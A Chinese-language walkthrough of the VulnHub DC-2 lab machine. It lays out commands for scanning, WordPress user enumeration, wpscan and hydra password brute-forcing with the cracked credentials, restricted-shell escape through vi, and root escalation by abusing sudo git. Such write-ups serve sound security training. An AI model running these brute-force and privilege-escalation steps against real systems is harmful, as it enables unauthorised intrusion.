难度: 初中级
靶机: DC-2 / VulnHub
涉及技术: WordPress · SSH · Git提权
目录 TABLE OF CONTENTS
- 环境准备与信息收集
- WordPress 漏洞利用
- SSH 口令爆破
- 受限 Shell 逃逸
- 水平移动与垂直提权
- 攻击链总结 & Flag索引
文章目录
- [目录 TABLE OF CONTENTS](#目录 TABLE OF CONTENTS)
- 一、环境准备与信息收集
-
- [1.1 主机发现](#1.1 主机发现)
- [1.2 全端口服务扫描](#1.2 全端口服务扫描)
- [1.3 修改 Hosts 文件](#1.3 修改 Hosts 文件)
- [1.4 Web 敏感目录扫描](#1.4 Web 敏感目录扫描)
- [二、WordPress 漏洞利用](#二、WordPress 漏洞利用)
-
- [2.1 用户名枚举](#2.1 用户名枚举)
- [2.2 CeWL 定制密码字典](#2.2 CeWL 定制密码字典)
- [2.3 WPScan 爆破登录](#2.3 WPScan 爆破登录)
- [三、SSH 口令爆破](#三、SSH 口令爆破)
- [四、受限 Shell 逃逸](#四、受限 Shell 逃逸)
-
- [4.1 通过 vi 逃逸](#4.1 通过 vi 逃逸)
- [4.2 扩展 PATH](#4.2 扩展 PATH)
- 五、水平移动与垂直提权
-
- [5.1 切换到 jerry](#5.1 切换到 jerry)
- [5.2 Sudo 权限探查](#5.2 Sudo 权限探查)
- [5.3 利用 git 提权到root](#5.3 利用 git 提权到root)
- [六、攻击链总结 & Flag 索引](#六、攻击链总结 & Flag 索引)
-
- 攻击链
- [Flag 位置](#Flag 位置)
- 核心知识点
DC-2 是 VulnHub 上的一款经典 WordPress 渗透靶机,完整复现了从信息收集、弱口令爆破到受限 Shell 逃逸、再利用 sudo git 完成 root 提权的真实攻击链路。以下为完整实战笔记。
声明
本文内容仅用于授权靶场学习与 CTF 研究,任何未经授权的渗透行为均属违法。请在合法合规的环境中实践。
一、环境准备与信息收集
PHASE 1 --- Reconnaissance
1.1 主机发现
首先确认目标存活状态:
bash
nmap -T4 -sP 172.20.10.10
1.2 全端口服务扫描
确认存活后进行详细扫描,-A 开启服务版本与操作系统探测,-p- 扫描全部 65535 端口,-oN 将结果保存到文件:
bash
nmap -T4 -A -p- -oN haha.txt 172.20.10.10
关键发现
扫描结果显示目标存在域名伪装:直接访问 IP 会跳转到 dc-2 。同时发现 SSH 端口被管理员改到了非标准端口 7744,这是常见的安全加固手段。
1.3 修改 Hosts 文件
为正常访问目标 Web 服务,需在本地解析域名:
bash
# 编辑 /etc/hosts,追加以下内容
172.20.10.10 dc-2
# Windows 路径:C:\Windows\System32\drivers\etc\hosts
1.4 Web 敏感目录扫描
bash
nikto -h dc-2 -o nikto_result.txt
# 关键发现:/wp-login.php 登录入口暴露
二、WordPress 漏洞利用
PHASE 2 --- WordPress Attack
2.1 用户名枚举
利用 wpscan 枚举 WordPress 用户名,-e u 参数专门用于用户枚举:
bash
wpscan --url dc-2 -e u
# 枚举到三个用户:admin · jerry · tom
2.2 CeWL 定制密码字典
CeWL 是一款基于目标网站内容生成密码字典的工具:
bash
cewl dc-2 -w pass.txt # 从目标站爬取词汇生成密码字典
# 准备用户名字典
echo "admin
jerry
tom" > username.txt
2.3 WPScan 爆破登录
bash
wpscan --url dc-2 -U username.txt -P pass.txt
# 爆破结果:
[SUCCESS] jerry / adipiscing
[SUCCESS] tom / parturient
登录后台后:
- jerry 可查看 Flag 2
- tom 用于 SSH 登录
三、SSH 口令爆破
PHASE 3 --- SSH Brute Force
bash
hydra -L username.txt -P pass.txt 172.20.10.10 ssh -s 7744
# 结果:tom 可以登录,jerry 不行
ssh tom@172.20.10.10 -p 7744
安全知识
修改 SSH 默认端口只是基础防护,建议:
复杂密码 + 禁用 root 登录 + 密钥认证
四、受限 Shell 逃逸
PHASE 4 --- Restricted Shell Escape
以 tom 登录后发现是受限 Shell(rbash),常见命令 cat su 均被禁用:
bash
echo $SHELL # 查看当前 Shell 类型
echo $PATH # 输出:/home/tom/usr/bin(权限受限)
ls usr/bin # 可用命令:less · ls · scp · vi
可用命令:less · ls · scp · vi
4.1 通过 vi 逃逸
vi 内置命令执行能力,是经典逃逸路径之一:
shell --- vi 内部执行
bash
# 在 vi 中按 ESC,然后输入:
:set shell=/bin/sh
:shell
# 或直接:
:!/bin/bash
4.2 扩展 PATH
bash
# 将系统 bin 目录加入 PATH
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin
# 现在可以使用 cat 等完整命令了
cat flag3.txt
rbash常见逃逸方式
- 通过 vi / vim 内部
:shell或:!cmd - 通过 less / more 内部
!bash - 通过 awk / python / perl 执行系统命令
- 通过 ssh 连接时追加
bash --noprofile
五、水平移动与垂直提权
PHASE 5 --- Privilege Escalation
5.1 切换到 jerry
bash
su jerry # 输入 jerry 的 WordPress 密码:adipiscing
cd ~
cat flag4.txt # 提示:还需要最后一次提权
5.2 Sudo 权限探查
bash
sudo -l
# 发现:(root) NOPASSWD: /usr/bin/git
# jerry 可以无密码以 root 身份运行 git
5.3 利用 git 提权到root
bash
# 方法一:通过 help 进入 less 分页器
sudo git help config
# 在分页器底部输入:
!/bin/bash
# 方法二:-p 强制进入分页
sudo git -p --help
!/bin/bash
# 进入 root shell 后,读取最终 Flag
cat /root/final-flag.txt
原理说明
sudo git 以 root 权限运行,git help 内部调用 less 来显示手册页。less 的 ! 命令可以执行任意 Shell 指令,且继承了 git 的 root 权限。这是 GTFOBins 数据库中记录的标准提权路径。
六、攻击链总结 & Flag 索引
攻击链
信息收集nmap/nikto → 用户枚举wpscan → 密码爆破cewl+wpscan → SSH登录hydra → Shell逃逸vi/PATH → sudo git提权root
Flag 位置
| Flag | 位置 | 获取方式 |
|---|---|---|
| FLAG 1 | WordPress 前台 | 首页 |
| FLAG 2 | WordPress 后台 | jerry 登录 → Pages |
| FLAG 3 | /home/tom/ | SSH 登录后 cat |
| FLAG 4 | /home/jerry/ | su jerry |
| FINAL | /root/ | sudo git 提权读取 |
核心知识点
- CeWL:基于目标站点内容生成针对性密码字典,比通用字典命中率更高
- WPScan:WordPress 专用扫描/爆破工具,自动定位登录页
- rbash 逃逸 :受限 Shell 通常可通过 vi、awk、python 等工具突破sudo 滥用:git / vim / awk 等可提权
- sudo 权限滥用 :git、vim、less、awk、python 等都是常见提权媒介,参见 GTFOBins
- SSH 非标端口:nmap -p- 全端口扫描不可少
实战靶场系列 · DC-2 渗透笔记 | 仅供授权学习使用